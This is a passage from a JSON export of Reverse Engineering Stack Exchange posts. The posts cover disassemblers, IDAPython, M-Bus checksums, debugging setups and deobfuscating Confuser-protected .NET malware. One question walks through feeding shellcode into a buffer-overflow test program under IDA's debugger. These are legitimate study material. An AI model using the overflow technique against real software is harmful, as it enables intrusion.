        "Body": "<p>I was wondering if there are any limitations of capstone's disassembling capabilities when compared to IDA.</p>\n\n<p>If yes, are those limitations inherent, i.e. a result of the different design/techniques that capstone and ida use? Or are they rather due to \"not yet implemented\" features, e.g. capstone's fewer supported CPUs?</p>\n\n<p>If there are inherent limitations, could you give an example?</p>\n\n<p>I am talking about the disassembling only, i.e., I am not interested in things like available APIs, commercial support, license models, plug-in systems, debugging support etc. Just the pure disassembly.</p>\n\n<p>Capstone is mentioned as one answer to the post <a href=\"https://reverseengineering.stackexchange.com/questions/1817/is-there-any-disassembler-to-rival-ida-pro\">\"Is there any disassembler to rival IDA Pro?\"</a>, but it seems to be a copied/pasted text from the capstone website.</p>\n\n<p>PS: The working of IDA is explained/discussed <a href=\"https://reverseengineering.stackexchange.com/questions/2347/what-is-the-algorithm-used-in-recursive-traversal-disassembly\">here</a>.</p>\n",
        "Title": "Limitations of capstone's disassembly capabilities compared to IDA",
        "Tags": "|ida|disassembly|disassemblers|capstone|",
        "Answer": "<p>There is no point in comparing between the two. IDA is more than a disassembler, it is a reversing tool which implements(or could be implemented via plugins) almost every feature you can think of. </p>\n\n<p>Capstone on the other hand, is a simple disassembler engine. It by alone cannot generate the same quality of output as IDA.</p>\n\n<p>For instance, IDA has cross-referencing capability. Cross-refs are generated by a dedicated analysis engine which uses input from the disassembly engine. A disassembly engine, <em>by its own</em> can neither find cross-refs, nor can it recursively disassemble like IDA.</p>\n\n<p>You are comparing a disassembly framework to a tool with a myriad of features. They are not comparable with each other.</p>\n\n<p>If you are talking about just the textual disassembler output, then there is not much of a difference per se.</p>\n"
    },
    {
        "Id": "11347",
        "CreationDate": "2015-11-17T22:39:54.517",
        "Body": "<p>I dumped a ROM recently.</p>\n\n<p>I tried to disassembled the machine code* for many architectures, but I always got assembly which, at best, looked like garbage.</p>\n\n<p>Note: I can perfectly read the strings the the ROM dump.</p>\n\n<p>*I have no proof this is really machine code.</p>\n\n<p>Here is the beginning of the two write-protected sections:</p>\n\n<pre><code>    [000000] 00 40 02 0d 16 ef c3 60 01 d3 92 00 22 02 0d db  .@.....`....\"...\n    [000010] 8f 96 22 00 00 02 0e b1 90 3e 57 12 08 91 e4 ff  ..\"......&gt;W.....\n    [000020] fe fd fc 90 3e 5b 12 08 91 c0 96 75 96 03 e4 ff  ....&gt;[.....u....\n    [000030] 7e c0 fd fc 90 3e 57 12 08 27 c3 12 07 84 50 03  ~....&gt;W..'....P.\n    [000040] 02 00 a1 e4 fc fd fe 90 40 00 e4 f8 f9 fa e4 93  ........@.......\n    [000050] 28 f8 e4 39 f9 a3 da f6 e8 2c fc e9 3d fd e4 3e  (..9.....,..=..&gt;\n    [000060] fe e5 83 70 e5 90 3e 5e e0 2c f0 90 3e 5d e0 3d  ...p..&gt;^.,..&gt;].=\n    [000070] f0 90 3e 5c e0 3e f0 90 3e 5b e0 34 00 f0 e5 96  ..&gt;\\.&gt;..&gt;[.4....\n    [000080] 04 f5 96 90 3e 57 12 08 0b c3 ef 94 00 ff ee 94  ....&gt;W..........\n    [000090] c0 fe ed 94 00 fd ec 94 00 fc 90 3e 57 12 08 91  ...........&gt;W...\n    [0000a0] 02 00 2c 90 3e 59 e0 f9 a3 e0 f8 90 3e 5b e0 ff  ..,.&gt;Y......&gt;[..\n    [0000b0] a3 e0 fe a3 e0 fd a3 e0 fc 90 40 00 e8 49 60 15  ..........@..I`.\n    [0000c0] 18 b8 ff 01 19 e4 93 2c fc e4 3d fd e4 3e fe e4  .......,..=..&gt;..\n    [0000d0] 3f ff a3 80 e7 90 3e 5b ef f0 a3 ee f0 a3 ed f0  ?.....&gt;[........\n    [0000e0] a3 ec f0 d0 96 90 3e 5b 12 08 0b 22 10 11 0b 12  ......&gt;[...\"....\n    [0000f0] 0f 04 bf 0d 02 7f 0a 02 01 69 90 49 da e0 ff 22  ........i.I...\"\n\n    [040000] 90 3c db 12 24 2d 90 3c df 12 24 7c e4 7f 01 fe  .&lt;..$-.&lt;..$|...\n    [040010] fd fc 12 23 9c e4 ff fe fd fc 90 3c db 12 23 d3  ...#.......&lt;..#.\n    [040020] d3 12 23 40 40 3f 90 3c df 12 24 45 c0 03 c0 02  ..#@@?.&lt;..$E....\n    [040030] c0 01 12 23 77 e4 7b 02 fa f9 f8 12 21 cb d0 01  ...#w.{.....!...\n    [040040] d0 02 d0 03 12 23 9c 90 3c db 12 23 c7 ef 24 ff  .....#..&lt;..#..$.\n    [040050] ff ee 34 ff fe ed 34 ff fd ec 34 ff fc 90 3c db  ..4...4...4...&lt;.\n    [040060] 12 24 2d 80 b0 22 ef f4 60 05 7e 09 7f 01 22 90  .$-..\"..`.~..\".\n    [040070] 37 55 e0 fd c3 94 80 40 05 7e 09 7f 03 22 af 05  7U.....@.~..\"..\n    [040080] e4 fc fd fe 12 17 51 ef 4e 60 01 22 e4 fe ff 22  ......Q.N`.\"...\"\n    [040090] 90 37 6d ef f0 c3 94 02 40 05 7e 09 7f 01 22 e4  .7m.....@.~..\".\n    [0400a0] 7f ff fe fd fc 90 37 6e 12 23 d3 d3 12 23 40 40  .....7n.#...#@@\n    [0400b0] 02 80 61 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e 00  ..a.7m.%.%..t.~.\n    [0400c0] a8 07 08 80 05 c3 33 ce 33 ce d8 f9 ff ee 33 95  ......3.3.....3.\n    [0400d0] e0 fd fc 90 37 6e 12 23 d3 12 22 f5 c0 04 c0 05  ....7n.#..\".....\n    [0400e0] c0 06 c0 07 90 37 6d e0 25 e0 25 e0 ff 74 0f 7e  .....7m.%.%..t.~\n    [0400f0] 00 a8 07 08 80 05 c3 33 ce 33 ce d8 f9 fb aa 06  .......3.3......\n</code></pre>\n\n<p>Can you identify which architecture/endianess I should give to the disassembler?</p>\n\n<p>Thanks;</p>\n",
        "Title": "Which architecture is this machine code?",
        "Tags": "|disassembly|assembly|machine-code|",
        "Answer": "<p>Here's what I found and how I found it.</p>\n\n<h2>Finding strings</h2>\n\n<p>First, I examined the strings within the file to determine the type and model of equipment.  I did that visually, with a text editor (<code>vim</code>) after I had converted the file back to plain binary using <code>xxd</code>.  </p>\n\n<h2>Learning more about the device</h2>\n\n<p>Once I did that, I looked for images which show the inside of this product.  I found a few, which seemed to show that it's not much different than the usual 5-port unmanaged hub, with what appears to be a single Ethernet switch controller IC.  Unfortunately, the heatsink was still attached to the top of the chip of interest in the photos I found, so I tried a different approach.</p>\n\n<h2>Process of elimination</h2>\n\n<p>There are maybe a dozen or so different vendors of Ethernet switch controllers, so I started searching for the prefixes of some of them within the binary image.  Jackpot!  I found the following strings: RTL8376B and RTL8367N.  Looking up the latter, the <a href=\"http://www.realtek.com/products/productsView.aspx?Langid=1&amp;PNid=18&amp;PFid=15&amp;Level=5&amp;Conn=4&amp;ProdID=333\" rel=\"noreferrer\">manufacturer's web site</a> confirms that it is indeed a 5-port controller and that it contains an \"Integrated 8051 microprocessor.\" </p>\n\n<h2>Sample dump</h2>\n\n<p>Starting at offset 0x29200 which in your file, (chosen because it looked like it might be code and not data) I used <code>d52</code> to disassemble. An extract of the result is here:</p>\n\n<pre><code>    org 0\n;\n    mov r5,#0c2h\n    mov dptr,#X3744\n    lcall   X2445\n    lcall   X2007\n    xrl a,#1\n    jz  X0012\n    ljmp    X547d\n;\nX0012:  clr c\n    mov r1,24h\n    ajmp    X00c3\n;\n    cjne    r1,#0c3h,Xffbe\n    addc    a,r2\n    clr c\n    cjne    r2,#12h,X003f\n    inc @r1\n    clr c\n    cjne    r7,#0c3h,Xffa8\n    rrc a\n    rrc a\n    anl a,#3\n    jb  0c0h.3,Xffcb\n    rr  a\n    ljmp    X547d\n;\n    clr c\nX0030:  mov r7,54h\n    addc    a,r7\n    clr c\n    cjne    r7,#64h,X0039\n    jz  X0041\nX0039:  clr c\n    mov r7,64h\n    ajmp    X0060\n</code></pre>\n\n<p>For those familiar with 8051 programming, this is very plausible looking code, so it is indeed an 8051 derivative.  Good luck!</p>\n"
    },
    {
        "Id": "11350",
        "CreationDate": "2015-11-18T09:25:07.270",
        "Body": "<p>Maybe someone could help me with the following problem:</p>\n\n<p>I have an interesting byte sequence that I found within a MIPS ELF binary that exists on the hard drive. This byte sequence may be, for example, <code>9c 6c 3c 04 80 2d 24 84 85</code>. Now I want to find this byte sequence with IDAPython. Therefore, I use the <code>idc.FindBinary()</code> function like so:</p>\n\n<pre><code>address = idc.FindBinary(0, SEARCH_DOWN, byte_sequence)\n</code></pre>\n\n<p>which finds the first occurrence of the byte sequence at <code>address</code>. In general I want to achieve two things:</p>\n\n<ol>\n<li><p>I want to colorize the effected affected lines in the IDA View</p></li>\n<li><p>I want to get the disassembled instructions</p></li>\n</ol>\n\n<p>Currently there are two subproblems I want to solve:</p>\n\n<ol>\n<li><p>The byte sequence may start <strong>within</strong> the instruction, for example, in a <code>jal address</code> the byte sequence starts at <code>address</code> instead of at <code>jal</code>. <strong>How can I search backwards to find the beginning of the instruction when the byte sequence started within the instruction?</strong> Colorizing works with:</p>\n\n<pre><code>SetColor(address, CIC_ITEM, 0x208020)\n</code></pre></li>\n<li><p>If the byte sequence is 9 bytes long (as in the example above), <strong>how can I tell IDAPython to disassemble all 9 bytes</strong>. I would have to know how \"long\" the instructions are that IDAPython disassembles to get to the next instruction. What I know is that I can disassemble at a single addresses with:</p>\n\n<pre><code>disasm = idc.GetDisasm(address)\n</code></pre></li>\n</ol>\n\n<p>Any help would be greatly appreciated!</p>\n",
        "Title": "Colorize and disassemble byte sequences with IDA Pro and IDAPython",
        "Tags": "|ida|disassembly|idapython|binary|",
        "Answer": "<p>You can easily do that using Sark:</p>\n\n<pre><code># Get all the lines relevant to your bytes\nfor line in sark.lines(start=address, end=address + len(byte_sequence)):\n    # For each line, color it, and print the disasm and the instruction length\n    line.color = 0x123456\n    print 'Line Size: {}\\nLine Disasm: {}'.format(line.size, line.disasm)\n</code></pre>\n\n<p>You might need to add handling for cases where there is no disassembly (the bytes are data-bytes and not code).</p>\n"
    },
    {
        "Id": "11361",
        "CreationDate": "2015-11-19T22:43:39.773",
        "Body": "<p>I'm currently in the middle of trying to decode the communication of an hydrometer. Thanks to a <a href=\"https://reverseengineering.stackexchange.com/questions/11348/reverse-engineering-an-hydrometers-bluetooth-communication\">previous question</a> made in this site I was able to find a <a href=\"http://www.diehl.com/fileadmin/diehl-metering/dlc/Water/HYDRUS_CommunicationDescription_EN.pdf\" rel=\"nofollow noreferrer\">PDF</a> describing the communication of a different hydrometer from the same company. I suspect the type of communication is equal or similar for both products.</p>\n\n<p>From what I understand I first need to define the response I want to have by sending a 10 bytes frame:</p>\n\n<p><a href=\"https://i.stack.imgur.com/5ioHG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5ioHG.png\" alt=\"enter image description here\"></a></p>\n\n<p>And then request a response with a 5 bytes frame:</p>\n\n<p><a href=\"https://i.stack.imgur.com/p02BK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/p02BK.png\" alt=\"enter image description here\"></a></p>\n\n<p>By checking the appendix 1, I choose, for application reset byte, the value \"0x00\":</p>\n\n<p><a href=\"https://i.stack.imgur.com/KaoSh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KaoSh.png\" alt=\"Application reset\"></a></p>\n\n<p>But I don't know the meaning of the bytes:</p>\n\n<ol>\n<li>C-field</li>\n<li>Address</li>\n<li>Cl-field</li>\n<li>Checksum</li>\n</ol>\n\n<p>Even without knowing the meaning of those fields, I tried defining and requesting a response, but I'm struggling to interpret the data, probably because I don't know the meaning of DIF and VIF columns:</p>\n\n<p><a href=\"https://i.stack.imgur.com/jBVWh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jBVWh.png\" alt=\"enter image description here\"></a></p>\n\n<p>Summing up, by any chance could I get an explanation of the fields:</p>\n\n<ol>\n<li>C-field</li>\n<li>Address</li>\n<li>CL-field</li>\n<li>checksum</li>\n<li>DIF</li>\n<li>VIF</li>\n</ol>\n",
        "Title": "Understanding decoding communications over interfaces",
        "Tags": "|encryption|serial-communication|encodings|protocol|",
        "Answer": "<p>A comment in your previous question pointed out that your hydrometer likely uses the M-Bus or Meter-Bus protocol, and your fields in question are all thoroughly explained in the <a href=\"http://www.m-bus.com/files/MBDOC48.PDF\" rel=\"nofollow\">documentation of said protocol (PDF)</a></p>\n\n<p>The C-Field is the control field and defines what function is being performed (page 23 of the above PDF). It is an 8-bit value where the lowest 4 bits determine the type of transfer (e.g., long frame, data request, etc.) and the highest 4 bits serve as control flags for various operations. </p>\n\n<p>The address determines which device you're talking to. The M-Bus protocol specifies a master/slave setup where one device can talk to many connected devices on the same local network. This is necessary because it's used in metering applications where a single controller might want to be able to query data from and send data to a large number of interconnected devices. In your case, the documentation uses an address of 0xFD or 253 which specifies that the address is handled on the network layer (which makes sense given you are communicating over Bluetooth). </p>\n\n<p>The CI[sic] field is the \"Control Information\" field; it communicates which type of data is being transmitted (page 31 of the above PDF). The example you posted uses a CI of 0x50, which indicates an application reset. The following byte specifies the \"type\" of reset requested, with 0x00 representing a full application-layer reset. When reset, it appears that the device responds with its relevant parameters as specified in your posted image.</p>\n\n<p>The checksum is used to verify the integrity of the transmitted or received data. These are fairly standard in serial communication protocols and generally straightforward to calculate. Calculating the M-Bus checksum requires adding up the raw values of the fields in the frame starting from the C-field and ending after the transmitted data (though this depends on the type and length of the frame, so for short frames, some fields may not be relevant). This calculation, as well as code to calculate it, are easily found with a cursory search.</p>\n\n<p>DIF and VIF stand for Data Information Field and Value Information Field. The DIF tells you what type of data you got (so from the Diehl PDF you posted, 0xC corresponds to volume, 0xB to flow rate, etc.) The VIF gives units and multiplier so that you can tell what units the specific parameters are in (e.g., liters, m<sup>3</sup>, etc.)</p>\n\n<p>I suggest that you take a look at that PDF, as it is very thorough in explaining the protocol and comes directly from the source of the protocol itself.</p>\n"
    },
    {
        "Id": "11367",
        "CreationDate": "2015-11-20T15:57:04.183",
        "Body": "<p>i want to do kernel debugging on my vm from another vm.</p>\n\n<p>My setup is pretty simple,</p>\n\n<p><strong>Debugged - VM</strong>:\nWindows XP SP3 x32 (To be debugged)</p>\n\n<p><strong>Debugger - VM</strong>: \nWindows 7 SP1 x64 (With Windbg installed - the Debugger)</p>\n\n<p>the pipe configuration is pretty simple as well..\nboth ends should be set as <code>The other end is a virtual machine</code>, and on the XP VM i set the pipe as <code>This end is the server</code> and on the Win7 vm i set <code>This end is the client</code>. Im using <strong>Vmware Workstation 10.0.3</strong> btw..</p>\n\n<p>I know i did setup my XP vm correctly because i can debug it from the host easily - configuring <code>The other end is an application</code> and connecting it with Windbg from my host computer (Win7 x64) and its working properly. So i know there is no problem with my Win-XP setup</p>\n\n<p>But doing the same thing from the other vm, nothing happens. I looked through the internet and i even followed tutorials that explained exactly what i already did.\nI have no idea what i'm missing and i feel pretty helpless so i came asking here.</p>\n\n<p>Anyone got any ideas what is the problem with my setup?</p>\n",
        "Title": "Kernel debugging between two virtual machines not working",
        "Tags": "|windows|debugging|windbg|kernel-mode|virtual-machines|",
        "Answer": "<p>Fixed the problem.. \nOn the windbg client, uncheck the 'Reconnect' and 'Pipe' checkboxes on the COM tab - then it will connect to the debugger.</p>\n"
    },
    {
        "Id": "11369",
        "CreationDate": "2015-11-20T20:23:55.697",
        "Body": "<p>Could you please explain how the <code>INC</code> x86 assembly instruction is affecting the Parity Flag (PF)?</p>\n\n<p>I have the following code:</p>\n\n<pre><code>.text:00401413 mov     edi, offset user_id ; user_id at memory location 0x40D020\n...\n.text:00401421 inc     edi                 ; edi = 0x40D021\n...\n.text:0040142D inc     edi\n.text:0040142E jnp     short no_parity\n</code></pre>\n\n<p>With user_id defined as follows:</p>\n\n<pre><code>.bss:0040D020 user_id         db 21h dup(?)\n.bss:0040D042                 db    ? ;\n.bss:0040D043                 db    ? ;\n.bss:0040D044                 db    ? ;\n...\n</code></pre>\n\n<p>At offset <code>0x40142D</code>:</p>\n\n<pre><code>0:000&gt; r edi\nedi=0040d021\n0:000&gt; dd 40d021\n0040d021  4f4f4f4f 4f4f4f4f 4f4f4f4f 4f4f4f4f\n0040d031  4f4f4f4f 4f4f4f4f 4f4f4f4f 004f4f4f\n0040d041  00000000 00000000 00000000 00000000\n0040d051  00000000 00000000 00000000 00000000\n0040d061  00000000 00000000 00000000 00000000\n0040d071  00000000 00000000 00000000 00000000\n0040d081  00000000 ff000000 01000000 01000000\n0040d091  02000000 00000000 01000000 00000000\n</code></pre>\n\n<p>If my understanding of the parity flag is correct, it should apply to the low 8 bits: <code>01001111</code> because:</p>\n\n<pre><code>edi = 0x4f4f4f4f = 0b1001111010011110100111101001111\n</code></pre>\n\n<p>The number of <code>1</code> in <code>01001111</code> is odd (five <code>1</code>), which should set the PF to <code>1</code>. But this is not the case:</p>\n\n<pre><code>0:000&gt; r pf\npf=1\n</code></pre>\n\n<p>...which leads to the jump not to be taken at offset <code>0x40142E</code>.</p>\n\n<p>Thank you for your help.</p>\n",
        "Title": "How does the INC instruction affect the parity flag?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>The parity flags is \"Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise.\"</p>\n\n<p>Source: section 3.4.3.1 of <a href=\"http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf\" rel=\"nofollow\">http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf</a></p>\n\n<p>So <code>edi = 0x0040d021 =&gt; least significant byte = 0x21</code></p>\n\n<p><code>0x21 = 0b00100001 = 2 bits set = even number of bits sets =&gt; PF set</code></p>\n\n<p>(It's not clear if the value you give for edi is before or after the <code>inc</code>.  If it's before then after the <code>inc</code> edi will equal <code>0x0040d022</code>, which still has 2 bits set.)</p>\n"
    },
    {
        "Id": "11375",
        "CreationDate": "2015-11-21T18:11:34.990",
        "Body": "<p>I'm trying to calculate the check sum of a m-bus data frame. In page 1 of <a href=\"http://bg-etech.de/download/manual/SDM630-Mbus-protocol.pdf\" rel=\"nofollow\">this PDF</a> I'm able to read that the frame's check sum \"is calculated from the arithmetical sum of the data mentioned above, without taking carry digits into account\". The data I have above are the bytes:</p>\n\n<ol>\n<li>Start</li>\n<li>L Field</li>\n<li>L Field</li>\n<li>Start</li>\n<li>C Field</li>\n<li>A Field</li>\n<li>CI Field</li>\n<li>Check sum</li>\n<li>Stop</li>\n</ol>\n\n<p>In page 2 we can find that one example of a valid data frame is:</p>\n\n<pre><code>68 03 03 68 53 01 BB 0F 16\n</code></pre>\n\n<p>In hexadecimal, being 0F the check sum. Unfortunately I must be doing something wrong because I'm not able to reach that value.</p>\n\n<p>Could someone explain how this algorithm, to find the check sum, works?</p>\n",
        "Title": "Calculating check sum of m-bus data frame",
        "Tags": "|hex|protocol|binary-format|hexadecimal|",
        "Answer": "<p>just one sample is never sufficient to answer a checksum query you need a bunch of samples to corelate and find patterns  </p>\n\n<p>so looking at the linked pdf it seems it is clear enough</p>\n\n<p>skip the start and sum the data and extract the least two bytes </p>\n\n<pre><code>skip     sum     mask \nx,x,x,x | y,y,... 0x000000ff = checksum\n</code></pre>\n\n<p>so the sample you posted would be </p>\n\n<pre><code>skip         | sum            \n68 , 3 ,3 68 | 53 , 01 , bb |  =\n</code></pre>\n\n<p>checksum</p>\n\n<pre><code>\"{0:X2}\" -f ((0x53+0x1+0xbb) -band 0x000000ff) = 0x0f seems to match \n</code></pre>\n\n<p>running this on other sequnces in the pdf seem to tally</p>\n\n<pre><code>PS C:\\&gt; $a = \"{0:X2}\" -f ((0x53+0xfe+0x51+0x01+0x7a+0x01) -band 0x000000ff) ; $a\n1E \nPS C:\\&gt; $a = \"{0:X2}\" -f ((0x73+0x01+0x51+0x01+0x7A+0x02 ) -band 0x000000ff) ; $a\n42\n</code></pre>\n"
    },
    {
        "Id": "11378",
        "CreationDate": "2015-11-21T20:58:29.703",
        "Body": "<ul>\n<li><h3>I'm a beginner in RE. So i don't know which environments are better for me ( Linux or Window , 32bit or 64bit ).</h3></li>\n<li><h3>Which free tools are the best for each OS .</h3>\n\nOllydbg is for Windows 32bit right?</li>\n</ul>\n",
        "Title": "Which environment are comfortable for RE ( Free tool )",
        "Tags": "|windows|linux|",
        "Answer": "<p>There isn't really a \"better environment\" or \"best tools\", its all up to the RE tasks you are up against. </p>\n\n<p>Since you said you are a beginner and from reading between the lines without a pre determined task, I would recommend 32bit machine and Ollydbg focusing on solving some CrackMe challenges.</p>\n\n<p>You can find some of them here:\n<a href=\"https://tuts4you.com/download.php?list.61\" rel=\"nofollow\">Tuts4You -  CrackMe</a></p>\n"
    },
    {
        "Id": "11383",
        "CreationDate": "2015-11-23T11:17:19.027",
        "Body": "<p>I want to test malware that wrote in .NET 4.5 and obfuscated by Confuser 1.9.</p>\n\n<p>I have tried to open it with .NET Reflector, ILSpy and dotpeek, but all of them can't open it.</p>\n\n<p>How can I debug (and modify) it? There is a special tool for that?</p>\n",
        "Title": "How to disassemble .NET after using Confuser",
        "Tags": "|debugging|tools|.net|",
        "Answer": "<p>Try <a href=\"http://de4dot.com\" rel=\"nofollow\">http://de4dot.com</a> its a powerful .net deobfuscator. I've authored a serie of tutorials dubbed \"demystifying dot net reverse engineering\" google it, its a great point of start if you are new on .net RE.</p>\n\n<p>Here is an article on how to deal with obfuscated assemblies <a href=\"http://resources.infosecinstitute.com/reverse-engineering-obfuscated-assemblies/\" rel=\"nofollow\">http://resources.infosecinstitute.com/reverse-engineering-obfuscated-assemblies/</a></p>\n\n<p>And this is directly related to what you asked for : [.NET] Decrypt Confuser 1.9 methods : <a href=\"http://fr.scribd.com/doc/207710371/NET-Decrypt-Confuser-1-9-Methods#scribd\" rel=\"nofollow\">http://fr.scribd.com/doc/207710371/NET-Decrypt-Confuser-1-9-Methods#scribd</a></p>\n\n<p>Good luck</p>\n"
    },
    {
        "Id": "11388",
        "CreationDate": "2015-11-24T13:43:53.047",
        "Body": "<p>I am new to program so I am following expert's foot steps but I am kinda lost here</p>\n\n<pre><code> ShowMessage('Hello World');\n MessageBox(null,'Hello World'mb_OK(1));\nShowModal('Hello World');\n</code></pre>\n\n<p>I know it's not correct Delphi syntax.</p>\n\n<p>What is the difference between the three </p>\n\n<pre><code> MessageBox()\n ShowMessage()\n ShowModal()\n</code></pre>\n\n<p>All I know is that I have used ShowMessage a lot and the message comes on a small form with OK button.</p>\n\n<p>Which one of the above uses the API</p>\n\n<pre><code>  User32.MessageBoxW\n  User32.MessageBoxA\n</code></pre>\n\n<p>Thank you for your time</p>\n",
        "Title": "What is the difference between Messagebox,Dialog and ModalMessage?",
        "Tags": "|delphi|",
        "Answer": "<p>a modal messagebox is one that blocks you cant perform any action in the main windows unless you close this messagebox    </p>\n\n<p>a non modal messagebox doesnt block you can close it any time you wish and can continue to work in the main window    </p>\n\n<p>a MessageBox is a generic form if you provide the HWnd parameter it can be Modal if you provide null (as you show ) it will be nonmodal    </p>\n\n<p>all will reach user32!messagebox or its internals    </p>\n\n<p>it should be prestty easy for you to check by setting a breakpoint    </p>\n\n<p>and this question of yours will also likely be closed as unclear or lacks basic understanding     </p>\n"
    },
    {
        "Id": "11389",
        "CreationDate": "2015-11-24T14:06:59.310",
        "Body": "<p>I've loaded a program into IDA + Hex-Rays, and decompiled it down to some C-like pseudo-code. Now, I am trying to figure out, for a single action that I am taking in the program, what code is being run. The code that I am interested in comes from a DLL the program uses.</p>\n\n<p>How does one go about tracing something like, \"I click on this button, this is the code that corresponds to it\"?</p>\n",
        "Title": "Stepping through a program to figure out what subroutines are being called?",
        "Tags": "|ida|ollydbg|dll|",
        "Answer": "<p>You can load your executable that loads the DLL using OllyDbg or Immunity Debugger.</p>\n\n<p>You can then check which modules imported are loaded via <strong>View->Executable Modules</strong> or with the keyboard shortcut <strong>Alt+E</strong> (at least on Immunity Debugger).</p>\n\n<p>Then, select your DLL which was imported and right click it. Select <strong>View Names</strong> or hit <strong>Ctrl+N</strong>. </p>\n\n<p>You will be prompted with a sub menu where you can select the DLL's export you are interested in. Select the export and hit <strong>F2</strong> to set a software breakpoint on it or right click and select <strong>Toggle Breakpoint</strong>.</p>\n\n<p>When you run your program, hopefully, your DLL import will be called and your breakpoint will be hit, pausing execution. You can then view your call stack with <strong>View->Call Stack</strong> or you can use the shortcut <strong>Alt+K</strong>. You will likely be interested in the <strong>returns to</strong> column because that will represent the address where your DLL import will return to. Note that the most recently called functions will be located on the top of the stack.</p>\n\n<p>You can then use IDA to search for that address in the disassembly. When you are in graph view, press <strong>g</strong> and paste the address that you copied from the <strong>returns to column</strong> from the call stack in your debugger.</p>\n\n<p>Happy hunting! :)</p>\n"
    },
    {
        "Id": "11391",
        "CreationDate": "2015-11-24T14:57:10.783",
        "Body": "<p>I'm familiar with python and IDA in general.  I found a few very basic tutorials but nothing that goes through an explanation of the classes used and the full capability set.  Near as I can tell the documentation consists of a list of functions.  The IDAPro book just recommends learning it through banging your head against a wall.  </p>\n\n<p>Anyone have a better suggestion?</p>\n",
        "Title": "Good training for IDAPython",
        "Tags": "|ida|idapython|python|",
        "Answer": "<p>I wrote <a href=\"https://github.com/tmr232/Sark\">Sark</a> to avoid this banging-head-against-wall routine. It provides wrappers around most of the commonly-used IDAPython APIs, making them more pythonic.<br>\nYou can find the documentation for Sark <a href=\"http://sark.readthedocs.org/\">here on Read-The-Docs</a>.</p>\n\n<p>As mentioned before by @CrazyFrog, you can use:</p>\n\n<ol>\n<li>Alexander Hanel's <a href=\"https://leanpub.com/IDAPython-Book\">book</a> and <a href=\"http://hooked-on-mnemonics.blogspot.com/\">blog</a>;</li>\n<li>Ero Carrera's <a href=\"http://www.openrce.org/articles/full_view/11\">Intro to IDAPyton</a>;</li>\n</ol>\n\n<p>Additionally, there are official Hex-Rays sources:</p>\n\n<ol>\n<li><a href=\"https://github.com/idapython/src/tree/master/examples\">IDAPython Examples</a>, which is filled with useful snippets;</li>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\">IDAPython Docs</a>, which are not too useful;</li>\n<li>The IDA SDK headers (or the <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/\">SDK Docs</a>). This is a really useful source of information, as <code>grep</code>ing through it will usually get you the function you were looking for.</li>\n<li><a href=\"http://www.hexblog.com/\">Hex-Blog</a> - The Hex-Rays blog. Contains some neat tricks along with tutorials on new APIs.</li>\n</ol>\n"
    },
    {
        "Id": "11396",
        "CreationDate": "2015-11-25T09:54:27.090",
        "Body": "<p>I was not able to find an API function to get the CPU architecture of the loaded binary. \nIn <code>idaapi.py</code>, there is a function <code>def set_processor_type(*args)</code> but no equivalent such as <code>get_processor_type</code>.</p>\n\n<p>I don't want to fall back to running some additional (python) tool such as file, readelf or a python ELF parser. I also don't like the idea of parsing the strings displayed at the beginning of the IDA assembly listing.</p>\n\n<p>There must be a way to use <code>idc.py</code>, <code>idaapi.py</code> or <code>idautils.py</code> for this.</p>\n",
        "Title": "How to get the CPU architecture via Idapython?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Not all processor name has endian information. Generally it can be determinded as:</p>\n\n<pre><code>BIG_ENDIAN if _idaapi.cvar.inf.mf else LITTLE_ENDIAN\n</code></pre>\n"
    },
    {
        "Id": "11402",
        "CreationDate": "2015-11-25T17:15:01.693",
        "Body": "<p>I am currently playing around with simple buffer overflows in a C program and I am trying to understand the program by stepping through it in IDA Pro. </p>\n\n<p>The program takes an argument and writes it into a buffer with <code>strcpy()</code>. I can pass a simple argument like <code>AAAA...</code> to the program in IDA Pro (Debugger->process options) and see how the return address gets overwritten.</p>\n\n<p>What I would like to do now is pass some shellcode as a parameter and see in IDA Pro how the program writes the shellcode in the buffer and overwrites the return address.</p>\n\n<p>In a shell, I would execute something like:</p>\n\n<pre><code>$ ./vuln \\`perl -e 'print \"\\x55\\x89\\xe5...\"'`\n</code></pre>\n\n<p>or</p>\n\n<pre><code>$ ./vuln \\`cat shellcode.txt`\n</code></pre>\n\n<p>So my question is: how can I pass non-printable characters as an argument to a program in IDA Pro? </p>\n",
        "Title": "IDA Pro: Program parameters",
        "Tags": "|ida|shellcode|",
        "Answer": "<p>Try using IDC function <code>StartDebugger</code>. You can pass a C-style string (e.g. <code>\"\\x55\\x89\\xe5\"</code>)for program arguments:</p>\n\n<pre><code>***********************************************\n** Launch the debugger\n   arguments:\n        path - path to the executable file.\n        args - command line arguments\n        sdir - initial directory for the process\nfor all args: if empty, the default value from the database will be used\n   returns: -1-failed, 0-cancelled by the user, 1-ok\n   See the important note to the StepInto() function\n\nlong StartDebugger(string path, string args, string sdir);\n</code></pre>\n"
    },
    {
        "Id": "11403",
        "CreationDate": "2015-11-26T01:22:51.897",
